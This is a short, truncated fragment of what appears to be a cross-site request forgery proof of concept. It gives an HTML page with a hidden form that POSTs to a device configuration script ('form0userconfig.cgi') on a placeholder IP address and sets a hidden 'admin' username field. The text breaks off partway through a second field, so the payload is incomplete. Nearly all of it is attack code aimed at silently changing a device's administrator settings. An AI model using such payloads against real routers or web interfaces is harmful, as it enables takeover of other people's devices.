 XSRF  -----------------------------------------------------  <html>   <body>     <form action="http://000.000.0.0/form0userconfig.cgi" method="POST">       <input type="hidden" name="username" value="admin" />       <input type="hidden" name="